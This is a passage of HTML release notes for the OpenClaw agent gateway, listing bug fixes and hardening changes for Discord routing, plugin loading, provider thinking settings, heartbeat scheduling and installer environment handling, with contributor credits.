<p>Gateway/config: allow <code>gateway config.patch</code> to update documented subagent thinking defaults. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4365780380" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75764" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75764/hovercard" href="https://github.com/openclaw/openclaw/issues/75764">#75764</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4366498289" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75802" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75802/hovercard" href="https://github.com/openclaw/openclaw/pull/75802">#75802</a>) Thanks @kAIborg24.</p>
</li>
<li>
<p>Plugins/CLI: keep git plugin install paths credential-free, preserve existing git checkouts until replacement succeeds, honor duplicate npm install mode, and remove managed git repos on uninstall. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/CLI: redact authenticated git URLs from git install command failure details, so failed clone or checkout output cannot leak credentials during plugin installs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Channels/status reactions: remove stale non-terminal lifecycle reactions when a run reaches done or error, so Discord does not leave a permanent thinking emoji after completion. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363092374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75458" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75458/hovercard" href="https://github.com/openclaw/openclaw/issues/75458">#75458</a>. Thanks @davelutztx.</p>
</li>
<li>
<p>Discord/doctor: migrate unsupported per-channel <code>agentId</code> entries under guild channel config into top-level <code>bindings[]</code> routes, so <code>openclaw doctor --fix</code> preserves the intended agent route instead of stripping it as an unknown key. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4217423565" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62455" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62455/hovercard" href="https://github.com/openclaw/openclaw/issues/62455">#62455</a>. Thanks @lobster-biscuit.</p>
</li>
<li>
<p>Discord/DMs: set inbound direct-message <code>ctx.To</code> to the semantic <code>user:&lt;id&gt;</code> target while keeping delivery routed through the DM channel, so mirror and recovery paths do not treat DMs as channel conversations. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4282995155" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68126" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68126/hovercard" href="https://github.com/openclaw/openclaw/issues/68126">#68126</a>. Thanks @illuminate0623.</p>
</li>
<li>
<p>Discord/DMs: keep no-guild inbound messages on direct-message routing when Discord channel lookup is temporarily unavailable, preventing degraded DMs from forking into channel sessions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4195831671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59817" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59817/hovercard" href="https://github.com/openclaw/openclaw/issues/59817">#59817</a>. Thanks @DooPeePey.</p>
</li>
<li>
<p>Discord: retry outbound API calls on HTTP 5xx, request-timeout, and transient transport failures instead of only Discord rate limits, reducing dropped cron and agent replies during short Discord or network outages. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4116577020" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52396" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52396/hovercard" href="https://github.com/openclaw/openclaw/issues/52396">#52396</a>. Thanks @sunshineo.</p>
</li>
<li>
<p>Discord: include Components v2 Text Display content from referenced replies and forwarded snapshots, so component-only messages still appear in reply context. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4158079453" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56228" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56228/hovercard" href="https://github.com/openclaw/openclaw/issues/56228">#56228</a>. Thanks @HollandDrive.</p>
</li>
<li>
<p>Discord: add configurable gateway READY timeouts for startup and runtime reconnects, so staggered multi-account setups can avoid false restart loops. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331372526" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72273" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72273/hovercard" href="https://github.com/openclaw/openclaw/issues/72273">#72273</a>. Thanks @sergionsantos.</p>
</li>
<li>
<p>Discord: preserve native slash-command description localizations through command reconcile, so localized Discord descriptions no longer get overwritten by English defaults. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4161405333" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56580" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56580/hovercard" href="https://github.com/openclaw/openclaw/issues/56580">#56580</a>. Thanks @mhseo93.</p>
</li>
<li>
<p>Discord: add configured outbound mention aliases so known <code>@Name</code> references can be rewritten to real Discord user mentions instead of relying only on the transient directory cache. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4274166014" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67587" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67587/hovercard" href="https://github.com/openclaw/openclaw/issues/67587">#67587</a>. Thanks @McoreD.</p>
</li>
<li>
<p>Discord: avoid startup REST amplification by skipping native command deploy retries after Discord rate limits and deriving the bot id from parseable bot tokens instead of requiring a <code>/users/@me</code> lookup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362306201" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75341" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75341/hovercard" href="https://github.com/openclaw/openclaw/issues/75341">#75341</a>. Thanks @PrinceOfEgypt.</p>
</li>
<li>
<p>Plugins/hooks: derive hook <code>ctx.channelId</code> from the conversation target instead of the provider name, so Discord and other channel plugins can keep per-channel state isolated. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4196584916" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59881" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59881/hovercard" href="https://github.com/openclaw/openclaw/issues/59881">#59881</a>. Thanks @bradfreels.</p>
</li>
<li>
<p>Gateway/config: log config health-state write failures instead of silently hiding config observe-recovery write errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>.</p>
</li>
<li>
<p>Diagnostics: reset stuck-session timers on reply, tool, status, block, and ACP progress events, and back off repeated <code>session.stuck</code> diagnostics while a session remains unchanged. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330206713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72010" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72010/hovercard" href="https://github.com/openclaw/openclaw/pull/72010">#72010</a>. Thanks @rubencu.</p>
</li>
<li>
<p>Gateway/agents: avoid rebuilding core tools for plugin-only allowlists and keep the full plugin registry cache warm across scoped plugin loads, reducing per-turn latency spikes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367404227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75882" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75882/hovercard" href="https://github.com/openclaw/openclaw/issues/75882">#75882</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367580317" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75907" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75907/hovercard" href="https://github.com/openclaw/openclaw/issues/75907">#75907</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367573379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75906" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75906/hovercard" href="https://github.com/openclaw/openclaw/issues/75906">#75906</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367498934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75887" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75887/hovercard" href="https://github.com/openclaw/openclaw/issues/75887">#75887</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367081946" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75851" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75851/hovercard" href="https://github.com/openclaw/openclaw/issues/75851">#75851</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4367733132" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75922" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75922/hovercard" href="https://github.com/openclaw/openclaw/pull/75922">#75922</a>) Thanks @obviyus.</p>
</li>
<li>
<p>Agents/failover: classify bare <code>status: internal server error</code> provider messages as retryable server errors so model fallback can rotate instead of stopping. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346697764" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73844" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73844/hovercard" href="https://github.com/openclaw/openclaw/pull/73844">#73844</a>) Thanks @thesomewhatyou.</p>
</li>
<li>
<p>Gateway/startup: return the shared retryable startup-sidecars error for startup-gated control-plane RPCs such as sessions.create, sessions.send, sessions.abort, agent.wait, and tools.effective, so clients can retry early sidecar races. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368487370" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76012" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76012/hovercard" href="https://github.com/openclaw/openclaw/pull/76012">#76012</a>) Thanks @scoootscooob.</p>
</li>
<li>
<p>Providers/Google: fix Gemini 2.5 Flash-Lite <code>reasoning: "minimal"</code> rejections by raising its thinking-budget floor to 512 while preserving the existing Gemini 2.5 Pro and Flash minimal presets. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4316577583" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70629" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70629/hovercard" href="https://github.com/openclaw/openclaw/pull/70629">#70629</a>) Thanks @ericberic.</p>
</li>
<li>
<p>Agents/status: resolve <code>session_status(sessionKey="current")</code> for sparse channel-plugin sessions after literal current lookups miss, so Scope, Slack, Discord, and other plugin-driven agents avoid retrying through <code>Unknown sessionKey: current</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348384116" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74141" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74141/hovercard" href="https://github.com/openclaw/openclaw/issues/74141">#74141</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331560781" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72306" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72306/hovercard" href="https://github.com/openclaw/openclaw/pull/72306">#72306</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bittoby/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bittoby">@bittoby</a>.</p>
</li>
<li>
<p>Cron: retry recurring wake-now main-session jobs through temporary heartbeat busy skips before recording success, so queued cron events no longer appear as ok ghost runs while the main lane is still busy. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368042745" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75964" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75964/hovercard" href="https://github.com/openclaw/openclaw/issues/75964">#75964</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4369011338" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76083" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76083/hovercard" href="https://github.com/openclaw/openclaw/pull/76083">#76083</a>) Thanks @kshetrajna12 and @xuruiray.</p>
</li>
<li>
<p>Providers/Google: keep Gemini thinking-signature-only stream chunks active during reasoning, so Gemini 3.1 Pro Preview replies no longer hit idle timeouts before visible text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368880968" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76071" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76071/hovercard" href="https://github.com/openclaw/openclaw/issues/76071">#76071</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368997122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76080" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76080/hovercard" href="https://github.com/openclaw/openclaw/pull/76080">#76080</a>) Thanks @marcoschierhorn and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>.</p>
</li>
<li>
<p>CLI/skills: show per-agent model and command visibility in <code>openclaw skills check --agent</code>, and let doctor report or disable unavailable skills allowed for the default agent. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4368251753" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75983" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75983/hovercard" href="https://github.com/openclaw/openclaw/pull/75983">#75983</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbelinky/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbelinky">@mbelinky</a>.</p>
</li>
<li>
<p>Agents/tools: skip unavailable media generation and PDF tool factories from the live reply path when Gateway metadata and the active auth store prove no configured provider can back them, while keeping explicit config and auth-backed providers on the normal factory path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/runtime: reuse the Gateway metadata startup plan when ensuring reply runtime plugins are loaded, so live agent turns do not broad-load plugin runtimes after the Gateway already scoped startup activation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/runtime: delegate scoped reply runtime registry reuse to the plugin loader cache-key compatibility checks, so config changes with the same startup plugin ids cannot keep stale runtime hooks or tools active. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/runtime: let compatible wider plugin registries satisfy scoped reply runtime requests when they already contain the requested plugins, avoiding redundant runtime loading without bypassing loader cache-key freshness checks. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/runtime: validate agent model allowlists against manifest model catalog metadata during reply startup, avoiding broad provider runtime catalog loading before the agent run lane starts. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/runtime: keep allowlisted configured model thinking metadata available when manifest catalog rows are absent, so explicit high-reasoning levels remain valid for custom configured models. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: preserve plugin-declared config-only generation providers such as local Comfy workflows during reply tool pre-gating, and share manifest auth/config availability checks between the planner and final tool factories. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: keep Comfy generation tools visible from legacy local workflow config and cloud API-key config when no Gateway metadata snapshot is active, using plugin-declared manifest signals instead of loading provider runtimes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: route media and generation capability lookups through the Gateway plugin metadata snapshot during reply tool registration, avoiding repeated manifest registry reloads on the live reply path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: let plugins declare media generation auth aliases and base-url guards in manifests, preserving OpenAI Codex OAuth image generation availability without core-owned provider special cases. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: reuse the auth profile store already loaded for the active run when deciding media and generation tool availability, avoiding repeated provider-auth runtime discovery during reply startup. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Agents/tools: keep image, video, and music generation tool registration on manifest/auth control-plane checks instead of loading runtime provider registries during reply startup, reducing live-path tool-prep blocking while leaving provider runtime resolution for execution and list actions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Discord: document canonical mention formatting in agent prompt hints and channel docs so outbound replies use <code>&lt;@USER_ID&gt;</code>, <code>&lt;#CHANNEL_ID&gt;</code>, and <code>&lt;@&amp;ROLE_ID&gt;</code> instead of legacy nickname mentions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359907332" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75173" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75173/hovercard" href="https://github.com/openclaw/openclaw/pull/75173">#75173</a>)</p>
</li>
<li>
<p>Heartbeat scheduler: gate exec-event/notification/spawn/retry wakes through a centralized cooldown so backgrounded <code>process.start</code> exit notifications can no longer self-feed runaway heartbeat runs (configured <code>every: "30m"</code> was firing every ~10s in production, pegging the gateway event loop with <code>eventLoopDelayMaxMs &gt;6s</code> spikes that stalled control-UI asset serving and TUI handshakes). Documented wake-now paths (<code>manual</code>, <code>wake</code>, task completion, blocked-task follow-up, <code>/hooks/wake mode=now</code>, and cron <code>--wake now</code>) remain immediate; retryable busy skips no longer poison the cooldown for the next retry; per-agent flood guard caps any unexpected feedback loop at 5 runs/60s. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4236016269" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64016" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64016/hovercard" href="https://github.com/openclaw/openclaw/issues/64016">#64016</a>, refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3946045245" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/17797" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/17797/hovercard" href="https://github.com/openclaw/openclaw/issues/17797">#17797</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362911805" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75436" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75436/hovercard" href="https://github.com/openclaw/openclaw/issues/75436">#75436</a>) Thanks @hexsprite.</p>
</li>
<li>
<p>fix: block workspace CLOUDSDK_PYTHON override and always set trusted interpreter for gcloud. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352375218" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74492" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74492/hovercard" href="https://github.com/openclaw/openclaw/pull/74492">#74492</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</p>
</li>
<li>
<p>Providers/Z.AI: move the bundled GLM catalog and auth env metadata into the plugin manifest, so <code>models list --all --provider zai</code> shows the full known catalog without duplicated runtime seed data. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>Providers/Qianfan and Providers/Stepfun: declare setup auth metadata (<code>api-key</code> method, <code>QIANFAN_API_KEY</code>, <code>STEPFUN_API_KEY</code>) in the plugin manifest so onboarding and <code>models setup</code> surface the expected env var without falling back to legacy <code>providerAuthEnvVars</code> runtime seed data. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</p>
</li>
<li>
<p>fix(infra): block ambient Homebrew env vars from brew resolution. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351948564" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74463" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74463/hovercard" href="https://github.com/openclaw/openclaw/pull/74463">#74463</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</p>
</li>
<li>
<p>Onboarding/configure: avoid staging every default plugin runtime dependency after config writes, so skipped setup flows only prepare config-selected plugin deps instead of pulling broad feature-plugin packages. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Thinking/providers: resolve bundled provider thinking profiles through lightweight provider policy artifacts when startup-lazy providers are not active, so OpenAI Codex GPT-5.x keeps xhigh available in Gateway session validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355122984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74796" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74796/hovercard" href="https://github.com/openclaw/openclaw/issues/74796">#74796</a>. Thanks @maxschachere.</p>
</li>
<li>
<p>Security/Windows: ignore workspace <code>.env</code> system-path variables and resolve stale-process <code>taskkill.exe</code> from the validated Windows install root, preventing repository-local env files from redirecting cleanup helpers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</p>
</li>
<li>
<p>CLI/plugins: refresh persisted plugin registry policy in place for <code>plugins enable</code> and <code>plugins disable</code>, so routine toggles no longer rebuild and hash every plugin source when the target is already indexed. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Windows/install: run npm from a writable installer temp directory and pin the Bedrock runtime dependency below a Windows ARM Node 24 npm resolver failure, so global OpenClaw installs no longer fail before onboarding. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mariozechner/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mariozechner">@mariozechner</a>.</p>
</li>
<li>
<p>CLI/plugins: scope install and enable slot selection to the selected plugin manifest/runtime fallback, so plugin installs no longer load every plugin runtime or broad status snapshot just to update memory/context slots. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/TTS: keep bundled speech-provider discovery available on cold package Gateway paths and add bundled plugin matrix runtime probes for health, readiness, RPC, TTS discovery, and post-ready runtime-deps watchdog coverage. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361552521" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75283" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75283/hovercard" href="https://github.com/openclaw/openclaw/issues/75283">#75283</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Google Meet/Twilio: show delegated voice call ID, DTMF, and intro-greeting state in <code>googlemeet doctor</code>, and avoid claiming DTMF was sent when no Meet PIN sequence was configured. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</p>
</li>
<li>
<p>Plugins/tools: prefer built bundled plugin code during tool discovery and skip channel runtime hydration while preserving companion provider registrations, reducing per-run plugin-tool prep cost without dropping executable plugin tools. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4361658522" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75290" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75290/hovercard" href="https://github.com/openclaw/openclaw/issues/75290">#75290</a>. Thanks @thanos-openclaw.</p>
</li>
<li>
<p>Plugins/loader: scope plugin-tool registry reuse to the enabled plugin plan and stored Gateway method keys, so embedded runner tool lookup can reuse compatible startup registries without hiding enabled non-startup plugin tools. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363466995" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75520" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75520/hovercard" href="https://github.com/openclaw/openclaw/issues/75520">#75520</a>. Thanks @whtoo.</p>
</li>
<li>
<p>Voice Call/Twilio: send notify-mode initial TwiML directly in the outbound create-call request while keeping conversation and pre-connect DTMF calls webhook-driven, so one-shot notify calls do not depend on a first-answer webhook fetch. Supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335052780" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72758" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72758/hovercard" href="https://github.com/openclaw/openclaw/pull/72758">#72758</a>. Thanks @tyshepps.</p>
</li>
<li>
<p>Discord/Slack: defer status-reaction cleanup until run finalization so queued, thinking, tool, and terminal reactions no longer flicker during normal progress updates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363934911" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75582" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75582/hovercard" href="https://github.com/openclaw/openclaw/pull/75582">#75582</a>)</p>
</li>
<li>
